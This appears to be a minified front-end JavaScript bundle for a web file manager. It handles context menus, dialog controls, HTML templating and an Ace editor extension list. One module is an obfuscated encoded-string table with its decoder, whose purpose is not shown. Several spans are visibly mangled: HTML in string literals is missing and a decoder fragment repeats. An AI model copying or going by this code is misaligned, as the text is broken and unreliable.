svg,img","click",function(){$(this).clone().appendTo(i.find(".continer")),i.removeClass("hidden").hide().fadeIn(100)})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){i(180),i(181),window.ExplorerMain=i(12)["default"];var e=new i(4)["default"];window["kodApi"]={"explorerMain":i(12)["default"],"explorer":i(9).ExplorerDialog,"pathSelect":i(18)["default"],"request":e,"requestSend":e.requestSend,"formMaker":i(1)["default"],"copyright":i(42)["default"],"componment":{"markdown":i(11)["default"],"request":i(4)["default"],"tree":i(14)["default"],"chatText":i(76)["default"],"upload":i(20)["default"],"uploadBlob":i(13)["default"],"pathModel":i(23)["default"],"table":i(8)["default"]}}}},function(t,i,n){"use strict";!function(){if(!$.hasKey("$.contextMenu.addon")){var r=function r(e,t){var i=_.last(_.filter(t.selector.split(" "))),n=t.$target.parents("[data-view-node]").first().data(),a=!1;_.each(n,function(e){_.isObject(e)&&e.$root&&e.root&&(a=e.root)}),t.menuType=i,t.app=a,Events.trigger(e,t,a),Events.trigger(e+"@"+trim(i),t,a)};$.contextMenu.beforeShow=function(e,t){var i=$.targetParent(t,".can-right-menu");if(i&&-1!=i.parents().index(e.$target))return!1;$.contextMenu.hidden(),r("rightMenu.beforeShow",e)},$.contextMenu.afterShow=function(e,t){e&&(f(e,t),r("rightMenu.afterShow",e))},$.contextMenu.beforeHide=function(e,t){e&&(f(e,t),r("rightMenu.beforeHide",e))},window.menuSelectList=[],$.contextMenu.selectItem=function(e,t,i){var n=e.find(t),a="selected";if(0==n.length){var r={"dom":e.get(0),"current":t,"selectGroup":i};if(_.find(menuSelectList,r))return;return menuSelectList.push(r)}i?e.find(i).removeClass(a):n.parents(".context-menu-list").first().children(".context-menu-item").removeClass(a);n.addClass(a)},Events.bind("rightMenu.beforeShow",function(e){if(!e._isSelectItem){e._isSelectItem=!0;var i=[],n=e.$menu;_.each(menuSelectList,function(e){var t=$(e.dom);t.exists()&&(i.push(e),-1!==n.parents().index(t)&&0!=n.find(e.current).length&&$.contextMenu.selectItem(t,e.current,e.selectGroup))}),menuSelectList=i}}),$(window).ready(function(){$("body").bind("click",function(){var t=window.parent;if(t!=window)try{if(!t.$)return;t.$("body").trigger("click")}catch(e){}})}),$.contextMenu.clickBind=function(e,t){e.delegate(t,"click",function(e){var t=$(e.currentTarget);if($.targetParent(e,".context-menu-active"))return $.contextMenu.hidden(),stopPP(e);var i=t.attr("menu-pose")||"right-top",n={"x":t.offset().left,"y":t.offset().top};return"right-top"==i?n.x+=t.outerWidth():"left-bottom"==i?(n.x+=parseInt(t.css("border-left-width")),n.y+=t.outerHeight()):"right-bottom"==i?(n.x+=t.outerWidth(),n.y+=t.outerHeight()):"cursor"==i&&(n.x=e.pageX+10,n.y=e.pageY),$(this).contextMenu(n),stopPP(e)})},$.contextMenu.submenuShow=function(e,t){Events.trigger("rightMenu.afterShowSub",e,t)},$.contextMenu.submenuHide=function(e,t){Events.trigger("rightMenu.beforeHideSub",e,t)};var f=function f(e,t){var i=e.$menu;i.removeClass("menu-auto-fit"),i.inScreen()||i.addClass("menu-auto-fit");var n=window.event||t,a=i.offset(),r=a.left,o=a.top,s=a.left+i.outerWidth(),l=a.top+i.outerHeight(),c=n.pageX,d=n.pageY,h=Math.abs(r-c)':''},x=function x(u,e,f,p){var t=[],i={};if(f){for(var n in e)t.push({"key":n,"value":e[n]});for(var a=t.length-1;0<=a;a--)i[t[a]["key"]]=t[a]["value"]}else i=e;$.each(i,function(e,i){if("string"==typeof i)var t='
  • ';else{i.className=i.className||"";var n=e+" "+i.className,a=i.name,r=' item-key="'+e+'"';if(i.accesskey)a+=''+i.accesskey.toUpperCase()+"";t='
  • "+m(i)+""+a+"
  • "}var o=$(t).clone(),s=f||p,l=u.$menu.find(s).first();0==l.length&&u.commands[s]&&(l=u.commands[s].$node),0==l.length&&(l=u.$menu.children().last()),f?l.after(o):p&&l.before(o);var c=o.parent(".context-menu-list").data("contextMenu");o.data({"contextMenu":c,"contextMenuKey":e,"contextMenuRoot":w});var d={"$input":null,"$label":null,"accesskey":i.accesskey,"className":i.className,"icon":i.icon,"name":i.name,"_name":a,"$node":o};if(c&&(c.items||(c.items={}),c.items[e]=d),"string"!=typeof i&&(u.commands||(u.commands={}),u.commands[e]=d,w.commands[e]=d,w.callbacks[e]=function(e,t){i.callback(e,t)},i.accesskey&&(w.accesskeys[i.accesskey]=d),i.items)){var h=e+"-first-item";t='
      \t\t\t\t\t\t\t\t\t\t\t
    ';$(t).appendTo(o),d.$menu=o.find("ul."+e),d.callback=null,d.appendTo=d.$node,d.type="sub",o.data("contextMenu",d).addClass("context-menu-submenu"),o.find("ul."+e).data({"contextMenuRoot":w,"contextMenu":d}),o.find("li."+h).data({"contextMenuRoot":w,"contextMenuKey":h,"contextMenu":d}),d.items||(d.items={}),d.items[h]={"$input":null,"$label":null,"icon":"","name":"","_name":"","$node":o.find("li."+h)},x(d,i.items,"."+h)}})};x(w,e,i,n)}},!$.isWindowTouch()){var i=!1;$("body").attr("tabindex","1").focus(),$(document).bind("mouseup keyup",function(t){$(":focus").exists()?a():o(),clearTimeout(i),i=setTimeout(function(){var e=$(t.target);!$(":focus").exists()&&!e.is(":visible")&&e.is("a")&&e.attr("href")||($(":focus").exists()?a():o())},500)}),Events.bind("dialog.afterShow",function(e){}),Events.bind("rightMenu.beforeShow",function(e){a(),setTimeout(function(){e.$menu.attr("tabindex","1").focus()},10)}),Events.bind("rightMenu.beforeHide",function(e){}),Events.bind("dialog.afterClose",function(e){$(":focus").exists()?a():o()});var n=[],a=function a(){var e=$(":focus");if(!$.isEdit()&&0!=$(":focus").length&&e.is(":visible")&&!$(":focus").is("body")&&n[n.length-1]!=e.get(0)){var t=n.indexOf(e.get(0));-1!=t&&(n[t]=null),s(),n.push(e.get(0))}},o=function o(){$.isEdit()||(s(),0!=n.length&&$(n[n.length-1]).focus())},s=function s(){for(var e=[],t=0;t').appendTo("#rightMenu"),$.contextMenu({"zIndex":9999,"selector":".dialog-menu","className":"dialog-menu-title","items":{"dialog-quit":{"name":LNG["common.close"],"className":"dialog-quit","icon":"ri-close-fill","accesskey":"q"},"dialog-max":{"name":LNG["explorer.max"],"className":"dialog-max","icon":"ri-fullscreen-line","accesskey":"a"},"dialog-min":{"name":LNG["explorer.min"],"className":"dialog-min","icon":"ri-subtract-line","accesskey":"i"},"sep1":"--------","refresh":{"name":LNG["common.refresh"],"className":"refresh","icon":"ri-refresh-line","accesskey":"r"},"open-window":{"name":LNG["explorer.openIE"],"className":"open-window","icon":"ri-chrome-fill","accesskey":"b"},"qrcode":{"name":LNG["common.qrcode"],"className":"qrcode","icon":"ri-qr-code-line","accesskey":"c"}},"callback":function(e,t){var i=t.$target.attr("id"),n=$.dialog.list[i],a=n.$main.find("iframe").attr("src");switch(e){case"dialog-quit":n.close();break;case"dialog-min":n._clickMin(!1);break;case"dialog-max":n._clickMax();break;case"refresh":n.refresh();break;case"open-window":window.open(a);break;case"qrcode":core.qrcode(a)}}}),$(".aui-title .path-ico").die("click").live("click",function(e){var t=$(this).parents(".aui-title-bar"),i={"x":$(this).offset().left+$(this).outerWidth(),"y":$(this).offset().top+$(this).outerHeight()};return t.contextMenu(i),stopPP(e)}).die("dblclick").live("dblclick",function(e){$.contextMenu.hidden();var t=$(this).parents(".aui-title-bar").attr("id");$.dialog.list[t].close()})};Events.bind("rightMenu.afterShow@.dialog-menu",function(e){var t=e.$target.attr("id"),i=$.dialog.list[t],n="hidden",a=".open-window,.refresh,.qrcode,.context-menu-separator",r=e.$menu;i.hasFrame()?r.find(a).removeClass(n):r.find(a).addClass(n);var o=".dialog-min,.dialog-max";$("."+t).hasClass("dialog-can-resize")?r.find(o).removeClass(n):r.find(o).addClass(n)},window),e(),Mousetrap.bind(["command+s","ctrl+s"],function(e){return!1}),Mousetrap.bind(["alt+f4"],function(e){var t=$.dialog.focus;return t&&t.close(),!1})}}()},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=["w4nCklTCusOY","woPCq8O/VT4=","wqdiNcOHwpw=","MjDDjcKPLQ==","E8O4wqIBSg==","wpTClsKDw5YG","GmDCgUTCuQ==","w4TDtnLDhMKV","w64Nw48Ew7w=","EzjDisKSJQ==","GsKDDsOrwqo=","RSbDjMOfMw==","wrvCg8OHbmk=","woXCqcOpQxg=","wrjCr8O9W0o=","e8OsIQXCng==","DjVmbcOo","wrdtwrcNw7k=","wrTCoMODWzA=","w4TDlsOow7Ji","wosEVsKEwpk=","w7bCtF7CmsO3","YHHDjnjDrw==","wrtvwpgOw5k=","TcOYw5ACw4EPw6fCgsKow413w7INwonDmMKl","wpFUBMOAwozDiHF+I8OmwqJzwps5N3I=","w5oWwoJDKA==","w45vwrXCo8O3","w6xYYsOjwpg=","ezLDjcOQw6lRwqdAwqFgwrrDrRzCnBHCoA==","w4PCnHbCgsO2w43DplLDp8KSE0PCgTfDpcOr","w7MIwoRWGw==","w6sww5E3w45WV8KOw7HDpw==","w6UdwoZK","w7fCmcOeGMK6wr/DsUc=","WjZ/SCA=","GQhJYMOu","w5EuB8KsYQ==","SMOUMRPCmQ==","w4JywobCnMOO","w7EgAMKxUg==","BQ3DscKIPA==","YH/Dl3zDiw==","w5DCtcOiGsK9","DyVoR8OLwpg=","W8OHLwnCjg==","UibCmQjClg==","bxDCoj/ChQ==","w7l2VsOEwrk=","wp7CpcOqw65b","YnnDimbDmA==","ERjDqcKkJMKEV8OSACPCosKIw6x7aDXDk0LCtWo=","SHvChcKVwo0=","w7XCiMOCEcK2wrrDkUQ5wqLDuQ==","SMOjFA/Chg==","BjB/UsOd","eEbCjcKVCg==","wq/CpsKBw6ga","w4XCuELCmcO+","EhjDvsKOLMKE","PzvDmMKxGQ==","I1IBODA=","CsOewokgRQ==","woc3F8KYGA==","w4UQwrA=","w5M8wrPCgMOe","w50owpnClw==","w5o6wqthZw==","UChL","woXCvsKUw5gbYw/DgW5aJiHCqQ==","esO0w4ULw54=","S8O8BwoOwozDmA==","OcORwqQSSg==","CCFnRMONwpzDvMO6","wqoOUMKBwqQ=","woXCrcKdw5UNZynDhg==","aCbDncOQ","wojCoMOiVhbChlTCgMKrw6g=","w7ocwq1xdg==","KSRsBwvCnj58w4jDusK3woM=","J19rRsK8","w4EiwoPDoMKSwq3Ckhk=","DXU/PQ==","DkrCgWLCkA==","c2bDi2XDgQYsU8KEScOIMTzCnw17N3Jc","wrTCgsOmNMKw","XmPCpcKiJA==","wr9GwoYXw5o=","fAHDr8OUKw==","wonCncKww70Y","VcOGKBkk","woYzw78nGw==","w4crwqTDtMKS","T8OvHAwEw4Q=","w6MlwpjCo8Ow","NMKHCiYj","Z8OPBB3CnQ==","wooVw6sWKw==","w5cOwoJ3Eg==","w5gHwoAewrHDpW3CknzCjcO7w4hYwokGwpM=","wpE2G8KpOg==","wonConDCtDfDjQQzbF8=","WsOvDQU=","dX/Dl2XDjBUqSg==","S8OLw4EFw5Y=","wpdHFcOHwps=","wr0Bw5ACIcO4OsOc","w6cPw7Mbw4s=","ZkDCg8KzPw==","BkUKGBE=","CCFoQMOKwq/DusOgbFvDjXJswpDDhSw=","wpHCiMOUV3nDqcKSw6Vpw6rCnwMpcMKdTQ==","w4/CjsOiw7nChg==","RMONDivChw==","wqg2C8KMEA==","OGrCu2TCrFVSw7d8w7HDgsOow7c7wrPDgA==","FRzDvsKJLcKzX8OGGzLCosK+w5FOfTM=","d8O+AgQz","wrLCp8KJw70A","w7NrwozCt8OT","OEjDm8KBw63DiXfDkkE2w4tjHnV0w5Y=","e8O4w6oEw70=","wpEnDsKJNsKuVxFkwqk=","w63CunTCi8OC","G8OFwoIWwpchwrbCj8Orw5Q0w7p7","w6fCqcOrAMK/","UMO9KQg7","wojDlzbChcKrwqbCtAXCsQ==","w7QkwrJOdQ==","w6wFNcKnSQ==","wqzCgsOFC8K+","woE6wo1t","wpHClMO2IsKs","wpzCpMK2w5cf","CGE/NCXDjcK0wo/Dnw==","w4LDs8OPw6Z3","w4M3wojDmsKV","LUJ2a8KI","wph2w4k=","wogMYMKGwrs=","ccOSw4cDw4k4","wqhowoYtw6o=","wq3Cq8OCw5NCw5xUw4VbC8Knw7E=","wpdywoQYw7E=","w6gdwpZKO3jCu8Knw51y","BMKSCsOkwqo=","wrdDAsOGwp3DqQ==","Vy/CnR7Cow==","wp/CjcKC","S8OUw6kAw5M=","w6fDk37ChcO3wrHDqEzDtsK+JA==","VDnCmBHCqA==","wpXDjiTDksO9wq/DiEHDh8KQLl/Ct2XDk8O9w7cZw5kpHcODW05Rb3AJDcKzwobCrQDCsCQKwqsSFMO6UTJiw73CizzDjMKAWSpXw4EzJgQ0w7diP3nCncOndMKoAS41MMKgWMO4woLDqxc0w4fDvMOBdcO/FQ/CoDUUE0zCvMKVw7nDvcKjY2XCuHkBwpPCnA==","wovCh8OZekU=","wqwPw4kaJsOrd8OWwozClwUBVw==","VRTDj8OZw50=","w5PCjXnCg8On","H3UnKQM=","XcOow6oew4M=","bWzCtsKMwoQd","w6LCmcOeAcK9","w68PwqJHLA==","wogxw4oJKA==","KMKeFRsi","w6t1woDCtMOa","M8KkcA3Dpg==","w4XDkEHDucKg","AcK+UBrDuA==","fDbDjcOXw6hm","cTJ5RAw=","NVHDicKlw4U=","wqtNwpQ2w4A=","woXCn8OaHsKq","w4EOwqQYwqQ=","AVvDkcKOw6E=","enDCssKCOg==","wofCiHPCvyc=","w4stwrPDicKJ","IjNDacOr","wobCm8OeWHvDnsKF","b3DDlUzDtw==","Y8OYw4cC","LsO1woU9X8OL","ZXvDj13DhxksTsOfUw==","NETCskTCnw==","BTDDvsKkLg==","wpEYw7EABg==","w7wRw48+w7s=","SMKqLgjCuMKswp5FdsKhMUjCh8OnX8ODw5EBwpQ=","WlrCksKAwrc=","CjV/QMOswo/DpsOhbQ==","wq3DrsKMU8KB","Hl/DncKHw7zDqA==","RcOsNATCrg==","wojCksOQKA==","w6PDmFbDscKH","binCojnCnMKO","wpTCkcOddF4=","cVk1EsKRag7ClcKUw4nDshsow7HDkCBKwo3DtsKwwosXw6xAw6vDuisxDsOxw5vCo2/CqHlbAMOSwooGbcOJbidEw7xCLsOjZsKZZisww6fDvcOKwqE8woHDksODecKracKbShx1w5/Dlg/ClsO1wrhNP8KMw4jDtV7CmXR1embCvHfCncOEYS7Cv8KFQHDCmsKfHA==","w7s+w6Urw5k=","N19/U8OqTQPCssKbwoLDmA0rw6rDgA==","wqctNMKJKg==","Q8OdwoY=","w6k1wpDDgsK2","J8OCGQ0oAGXDoMKMwqdM","IcKcEcO1wrA=","w5s+wpzChsOaMcKYwr7Cl8OCw6rCpiY=","NkpAUMKC","Gl7Cl1bCkw==","PjTCmGbClk1+B8KJ","K1LCqFbCjA==","w4J7e8OTwoE=","wqrCgMOhOsKc","woRPwr3Ctw==","ScOZKyIY","wrsCccKowoA=","NsOywopxGg==","wrLDksKQdsKT","IjzDrQ==","RBPCkhPCgA==","wrnCp8KFw5ACYw==","H3Y/OS0=","DsOxwposVcOVwpvDtsOhRcOPwpA5w51EYltAwqg0acORw6g=","ax3Dt8Obw7U=","wp1bBMON","wrrCjcOYdgI=","wonCg8Kbw7E5","w6fCtcORMcK+","KGTDm8Ksw64=","ayfDj8OMw6k=","SsOYw4cL","anDCrsKbKiMvwo0=","fsOIEzDCgQ==","wpPCh8OdJcKs","w4fCq8O1F8KP","w50OwrDDgMKH","w4klwp3DpsKSwqfCkRnCsgTChyvDjcOgwqbDrEvDg8O0w5I=","SxBfSSY=","wr8Qw4wLLcO9GsOfwoPCjwQ=","P8Omwo44RMODwqrDm8OiXMOPwowW","TgPChQrCiA==","PXPCskfCiw==","w5AOIsK7","XUjCr8K6wqg=","w6Zzf8Oxwpo=","PG7CrA==","wrVAHsOJwqE=","KQnCv1wEdhY=","LcK5fBDDoA==","wpQjFsKoOg==","DsKmUAPDjw==","w4NlwpfCnMOYw6w=","w5bCnHnCn8O2","LD5tGA4=","w5dZwoTCqcO5","wpNSLcOewoc=","w7rDplPDncKn","w6TCr8OC","wr8Hw7YYLQ==","VQ1tfhI=","JS7DmsKCHw==","DXEoMwLDmg==","Iz7DtcKGKw==","w5zDo0bDrcKI","wrcYW8KMwo8=","RHDCtsKf","e2jCu8KHwo8V","w7LCpcOVw5XCsMKk","Y8ORw6MTw6s=","IsKcVCbDpw==","wp/Ci3vCqBA=","w6bDvGXDr8KU","E0LDvcKMw6Q=","w6nDt8OJw6pb","w7YxwrcGwpw=","JwfDh8KFOw==","w5AdwpZYaQ==","fgXDrMO6Bw==","w5Y/EMKWZg==","wo7DocKsYsK1","NmNSVcKD","w6fDnE/DncKt","w5vCrMOZw6rCmg==","w4gCwqHCnsOc","w5IUwrZIcx4=","w5RvW8OIwqY=","ZMOeLwzCgg==","ckYzW8O2W1fCuMODwo3CiwN6w6bCgz4/w4TCvQ==","wrjCm8OvbnI=","w7nDilPDscK5","wrjCscK9w7wgwpUsEkk=","WcOKOhvCgQ==","aMOow7kIw6I=","Fz7DisO5","GklLQ8KS","w5LClMKDecKMw4LCqHTCmy5Bw6guwqnDu0vCgcO3wrXDoFfDg8OdKMOLH8OWPsKLYMKCMUVbQMKhPcKMJcOLTQhpV8Ogwp0secOxZMKvwoXDuEXCo8K4BiHDn03CiMKuwrAKw63Cixsgw5kBE8OJwqM5LcO0UGXCnn/CkQ19w6Isw5VXwqJUwqdtw5gow6nDjQjDiVXCpg==","w6bCicO4E8Kq","w7/CuMOAw5Q=","wpUWCcKJJw==","w4JpRcONwqzDisOyXMOq","w4PDo8Ofw7Z5","wonCmcOJfT3CsA==","IQ1vBz8=","w5nCjVLCm8OD","w41mwpXDm8KW","KsKgGBEm","w5/CgcKM","WTLDpMOJw7g=","w7x3RcOMwoLDnQ==","w6TCtMOow53CiA==","DcKIRw==","Zj14eQ8=","WmTCuz/CiMOUckXCusKybw==","w4jDv0/DmMKQ","wqoFw4QabMOzOMOBwovCkAMBX30y","DsKXeQDDqw==","w4gFwpEfwqTDgw==","w684MMKvRQ==","w5VvwoHCh8OZw7vCjsOfL8KzQMOUXg==","X0DCnsKTwoQ=","woTChsOCTl0=","ThjDn8OWw58=","wrI6w74ZFA==","NmPDt8Kbw7k=","HyJDQMOu","woZmF8O5woM=","C8OQwowjcg==","DltEdsKE","w54ewpMawrvDhW3CkSfChsOnw7ppwoYRwobDpEAK","e8O8w4ctw4k=","wq/CiGrCnCY=","YHDCr8K3wrY=","wo8Zw4wFBw==","KgLCjEkX","w4LCicOaIsKA","wqwFw50KOg==","w6EJwoLCnMO2","CipqUMOGwpPDuA==","w40swpVucg==","wroPw5IZbsO8K8OFwoXCkQ==","wqdsIMOuwps=","wqlvwoMIwrVlwqwqP0cYIQ==","FMKaVh7Dkg==","w54mKsKKdg==","w6sww4Yxw6Q=","BgJBJRA=","bBjDqsOlGQ==","ZVPCl8KUwrc=","ThBnQxI=","GThSEz4=","wqnCncOefDs=","csOvLTwo","PnnCqmPCuw==","wrrCqgZsOA==","WnjDtkzDhQ==","w5o1wqsawrc=","DmzDjMKuw6U=","w4cWMcK2QsOSwpE+wo4Mw7LDucKCBcO/bg==","GifDn8KWHw==","GcKzQxnDhg==","f8OAw4MBw6A=","anDCocKfLRApwpfDuTdSWE/Ctl5s","CMKjdBfDrcKjw5g=","BQjDvsKCLcKSSQ==","w40Xwq5qclzDhQQ=","wqDCrMO2e0U=","w6dTeMOrwqg=","wqYNNMKYAMKGYCxewo8=","UlHDtUzDsSccYsOpYsO0JA==","TsOHIBTCjsKmFQPDshsUb8OjUREq","w5zDi0HDnMK0","TBZpWzk=","w5PCksO4w7PCqw==","RwXDosOJFA==","EhzDqcKA","amjCucKPwoIZwr9j","P8O1wogxVcO0worDhsOyVMOZwpYmw5tCbA==","w500wojDl8Kb","CU7CmUjCkA==","KF3DmcKdw60=","UlHDskfDqQ==","FMKSFsO9wrrCqMKlwr8=","wrzCmsOfew==","w7kQwrJbPQ==","IDx2Mhw=","wq3CsCZyPQ==","wqzCusOSw5JO","wolPwqM6w4dFwowKH2c4AQ==","wqhhwo4X","wrzCuRhvKGdFbQ==","w63ClUXCk8Oc","d8Ozw7A4w4s=","IBDDu8KlPw==","L8Ohwog6VcOVwpw=","BMKGGcOywr3CusK1","wo0gEMKeM8KsXBs=","DgpBKjHCnw5Ow77DmsKXwqQPwqIBwpA=","w7PCvMOVw5E=","ezLDgsOUw65iwqFa","fivCszjCicKofFvCq8KeWHXDmQzCkGs=","w7rCl3LCi8OF"];n=a,function r(e){for(;--e;)n["push"](n["shift"]())}(268);var f=function f(e,t){var i=a[e-=0];if(f["nThsmN"]===undefined){!function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}e["atob"]||(e["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s
    '):(i+=' '),i+=' ',i+=n(e.title),i+=" "}),i+=" ";for(o=0;o<10;o++)i+='
    ';i+='
    '):(i+=' '),i+=' ',i+=n(e.title),i+=" "}),i+=" ";for(o=0;o<10;o++)i+='
    ';return i+='
    "}},function(n,e,t){"use strict";(function(e){var t="undefined"!=typeof self?self:"undefined"!=typeof window?window:void 0!==e?e:{},i=Object.create(t),l=/["&'<>]/;i.$escape=function(e){return function s(e){var t=""+e,i=l.exec(t);if(!i)return e;var n="",a=void 0,r=void 0,o=void 0;for(a=i.index,r=0;a',LNG["admin.menu.plugin"])}else Tips.tips(LNG["explorer.noPermissionAction"],"warning",2500)}o.close()})}})},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var t="",i=r.$escape,n=e.LNG,a=e.tips;return t+='
    ',t+=i(n["explorer.unknowFileTips"]),t+="
    ",t+=i(a),t+='
    1. ',t+=i(n["explorer.unknowFileTry"]),t+=' ',t+=i(n["explorer.openWith"]),t+='
    2. ',t+=i(n["explorer.unknowFileTry"]),t+=' ',t+=i(n["explorer.openWithAce"]),t+='
    3. ',t+=i(n["explorer.unknowFileTry"]),t+=' ',t+=i(n["explorer.unknowFileDown"]),t+='
    ',t+=i(n["admin.plugin.center"]),t+=" ",t+=i(n["explorer.appSearch"]),t+="
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(98));function s(e,t,i){return t in e?Object.defineProperty(e,t,{"value":i,"enumerable":!0,"configurable":!0,"writable":!0}):e[t]=i,e}t["default"]=ClassBase.extend({"extSupport":"\n\t4th,a,abap,abc,ada,adb,adoc,ahk,alda,apex,apl,aql,as,asc,asciidoc,asl,asm,asn,asn1,asp,aspx,atom,aw,b,bash,bashrc,bat,bf,bib,blade.php,bro,build,bzl,c,c9search_results,cabal,cakefile,cbl,cc,cf,cfg,cfm,cirru,cl,clj,cljc,cljs,cljx,cls,cmake,cmake.in,cmd,cob,coffee,component,conf,cpp,cpy,cql,cr,cs,csd,cshtml,cson,css,ctp,curly,cxx,cyp,cypher,d,dart,def,di,diff,dockerfile,dot,drl,dsl,dtd,dyalog,dyl,dylan,e,ecl,edi,edn,eex,ejs,el,elm,epp,erb,erl,ex,exs,f,f77,f90,f95,factor,feature,for,forth,frag,frt,fs,fsi,fsl,fsscript,fsx,fth,ftl,fun,gbs,gcode,ge,gemfile,gemspec,gitignore,glsl,go,gql,gradle,groovy,gss,guardfile,gunmakefile,h,haml,handlebars,hbs,hh,hjson,hpp,hrl,hs,htaccess,htgroups,htm,html,html.eex,html.erb,htpasswd,hx,hxml,hxx,in,inc,ini,ino,intr,io,j2,jack,jade,java,jinja,jinja2,jl,jq,js,jsm,json,json5,jsonld,jsp,jssm,jssm_state,jsx,ksh,kt,kts,latex,latte,ldr,less,lhs,liquid,lisp,list,log,logic,lp,lql,ls,lsl,ltx,lua,lucene,m,make,makefile,map,markdown,mask,mathml,matlab,mbox,mc,md,mediawiki,mel,mixal,mkd,ml,mli,mll,mly,mm,mml,mo,module,mps,msc,mscgen,mscin,msgenny,mush,mustache,mysql,mz,nb,nginx,nim,nix,nj,njk,nq,nsh,nsi,nt,nunjs,nunjucks,nut,oak,ocamlmakefile,orc,oz,p,p6,page,pas,patch,pgp,pgsql,php,php3,php4,php5,php7,phps,phpt,phtml,pig,pl,pl6,plg,pls,pm,pm6,pp,praat,praatscript,prefs,prisma,pro,proc,prolog,properties,proto,ps1,psc,psd1,psm1,pug,pxd,pxi,py,pyw,pyx,q,qml,r,rake,rakefile,raku,rakumod,rakutest,rb,rd,rdf,red,reds,rhtml,rkt,rq,rs,rss,rst,ru,s,sas,sass,sbt,scad,scala,scheme,scm,sco,scss,sh,shtml,sieve,sig,siv,sjs,skim,slim,sm,smackspec,smarty,smithy,sml,snippets,soy,space,sparql,spec,sql,sqlserver,ss,st,str,styl,stylus,sv,svg,svh,swift,swig,tcl,terragrunt,tex,text,textile,tf,tfvars,tgr,toml,tpl,trigger,ts,tsx,ttcn,ttcn3,ttcnpp,ttl,twig,txt,typescript,v,vala,vb,vbs,vert,vfp,vh,vhd,vhdl,vm,vtl,vue,wast,wat,we,webidl,wiki,wl,wlk,wls,wpgm,wpy,wsdl,wtest,xaml,xbl,xhtml,xml,xq,xquery,xsd,xsl,xslt,xu,xul,xy,yaml,yml,ys,z80,zeek,\n\n\toexe,csv,tsv,lnk,url,webloc,meta,inf,dummy,hta,cgi,lean,hlean,ji,\n\treadme,changes,changelog,version,license,bash_logout,bash_profile,\n\tvbproj,storyboard,vcproj,vcxproj,pbxproj,csproj,xib,strings,jshintrc,\n\tsublime-project,plistpch,localized,local,xcscheme,manifest,\n\tgitmodules,webapp,npmignore,babelrc,editorconfig,prettierrc,\n\tvtt,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx,\n\tclasspath,mymetadata,jsdtscope,project,tern-project,tld,iml,sln,\n\tgitattributes,mf,name,container,lock,applescript,mvnw,apple-app-site-association,\n\tmagnet,sample,example,http,puml,plantuml,plist,dockerignore,mod,sum,owners","init":function(){this.parent.add({"name":"aceEditor","title":LNG["admin.plugin.defaultAceEditor"],"sort":5,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_app/ace.png","callback":_.bind(this.fileOpen,this)}),this.addText(),this.bindOpenFile()},"fileOpen":function(e,t,i){this.editor||(this.editor=new n["default"]({"parent":this}),this.bindEditorEvent()),this.editor.fileOpen(e,t,i)},"addText":function l(){var e,l="packed-refs,HEAD,FETCH_HEAD,ORIG_HEAD,AUTHORS,INSTALL,configure,packs,refs,\n\t\t\tdescription,master,exclude,key,\n\t\t\tCREDITS,arclint,arcconfig,err,pub,keys,values,servers,acl,netrwhist,sample,empty,dist,\n\t\t\tinstallversion,version,rst,bak,dockerfile,m4,compile,guess,status,sub,ac,la,pc,in,am,\n\t\t\t\n\t\t\tbash_history,bash_profile,git-credentials,gitconfig,gitflow_export,\n\t\t\tgitignore_global,hgignore_global,lesshst,mailcap,mycli-history,gitkeep,brew_all_commands,\n\t\t\tmyclirc,mysql_history,node_repl_history,npmrc,pearrc,plist,rediscli_history,\n\t\t\tsh_history,sqlite_history,stCommitMsg,types,viminfo,eslintignore,\n\t\t\tzsh-update,zsh_history,zshrc,zshrc_self,zsh,zsh-theme,zsh-template,_adb,\n\n\t\t\tvsixmanifest,vmx,vmxd,vmxf,lock,gypi,fingerprint,nmf,rels,geojson",t=(s(e={"ini":"inc,inf,strings,mf,config,arcconfig,servers,acl,netrwhist,packed-refs,pearrc,\n\t\t\t\tgitconfig,vmx,vmxd,myclirc,types,reg","xml":"xib,xsd,storyboard,plist,csproj,pch,pbxproj,xcscheme,\n\t\t\t\tvcproj,vcxproj,filters,webloc,opf,ncx,vsixmanifest,vmxf,\n\t\t\t\tclasspath,mymetadata,jsdtscope,project,tern-project,tld,iml,sln,\n\t\t\t\tgitattributes,mf,name,container,applescript,rels","sh":"bash_history,bash_profile,gitflow_export,brew_all_commands,\n\t\t\t\tlesshst,mailcap,mycli-history,mvnw,mysql_history,node_repl_history,npmrc,pearrc,rediscli_history,\n\t\t\t\tsh_history,sqlite_history,stCommitMsg,viminfo,\n\t\t\t\tzsh-update,zsh_history,zshrc,zshrc_self,zsh,zsh-theme,zsh-template,_adb,m4","gitignore":"gitignore_global,hgignore_global,eslintignore","markdown":"readme,changes,license,changelog,rst","json":"oexe,jshintrc,sublime-project,apple-app-site-association","hjson":"gltf,lock,nmf,geojson","dockerfile":"dockerfile"},"hjson","gypi"),s(e,"verilog","log"),s(e,"javascript",""),s(e,"yml","owners"),s(e,"c_cpp","nc"),s(e,"abap","obj,obj,3ds,stl,ply,3dm,mtl,dae,dxf"),e);this.parent.appSupportSet("aceEditor",l+",DS_store,pdb"),Events.bind("aceEditor.fileOpenModeInit",function(i){_.each(t,function(e,t){e&&(e=e.toLowerCase(),i[t]=i[t]?i[t]+","+e:e)})},this);var 